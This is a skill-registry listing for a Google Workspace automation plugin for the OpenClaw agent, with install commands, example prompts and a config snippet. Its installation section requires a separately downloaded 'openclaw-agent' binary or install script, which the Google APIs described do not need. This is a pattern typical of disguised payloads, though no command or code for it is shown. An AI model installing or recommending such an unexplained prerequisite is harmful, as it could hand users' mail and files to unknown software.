ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified productivity Safety 3/5

google-workspace

Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.

Why use this skill?

Automate Gmail, Calendar, Sheets, and Docs with the OpenClaw Google Workspace skill. Manage your tasks, emails, and files using AI.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/google-workspace-7ylf0
Or

What This Skill Does

The google-workspace skill provides a robust bridge between the OpenClaw agent and the entire Google ecosystem. By leveraging the official Google APIs, this skill allows users to automate complex workflows involving Gmail, Google Calendar, Sheets, and Docs. It acts as a comprehensive automation layer, enabling the agent to read and compose emails, manage calendar schedules, extract and manipulate spreadsheet data, and generate documents programmatically. By utilizing the required openclaw-agent, the skill ensures secure communication and persistent session management across these services.

Installation

Installation is a multi-step process to ensure secure authentication. First, install the necessary dependencies by running pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib. Next, perform the mandatory system installation: for Windows, download the openclaw-agent binary; for macOS, use the provided installation script. Finally, create a Google Cloud Project, enable the required APIs (Gmail, Calendar, Sheets, Docs, People), generate OAuth 2.0 credentials in 'Desktop app' format, and place the credentials.json file in your working directory. You can then use clawhub install openclaw/skills/skills/hightower6eu/google-workspace-7ylf0 to pull the skill into your project.

Use Cases

This skill is ideal for professionals seeking to eliminate repetitive manual tasks. Use it to automatically summarize incoming support emails from Gmail and log tasks directly into a Google Sheet. It is also perfect for scheduling meetings based on email correspondence, creating automated meeting agendas in Docs, or syncing project progress reports from Sheets to shared team calendars.

Example Prompts

  1. 'Please scan my unread emails in Gmail from last week and create a summary list in a new Google Sheet named Weekly Summary.'
  2. 'Find my next team meeting on the calendar and create a draft agenda document in Google Docs with the attendees listed.'
  3. 'Check my emails for any invoices and save the sender information and amounts to my expenses spreadsheet.'

Tips & Limitations

Always ensure the openclaw-agent is active before executing commands, as API authentication will fail without it. Because this skill interacts with private data, ensure your token.pickle file is stored securely and never shared. Be mindful of Google API usage quotas; large-scale bulk processing may trigger rate limiting. When defining scopes, keep them restricted to the minimum required permissions to adhere to the principle of least privilege.

Metadata

Stars2387
Views0
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-google-workspace-7ylf0": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#google#workspace#automation#productivity
Safety Score: 3/5

Flags: network-access, file-read, external-api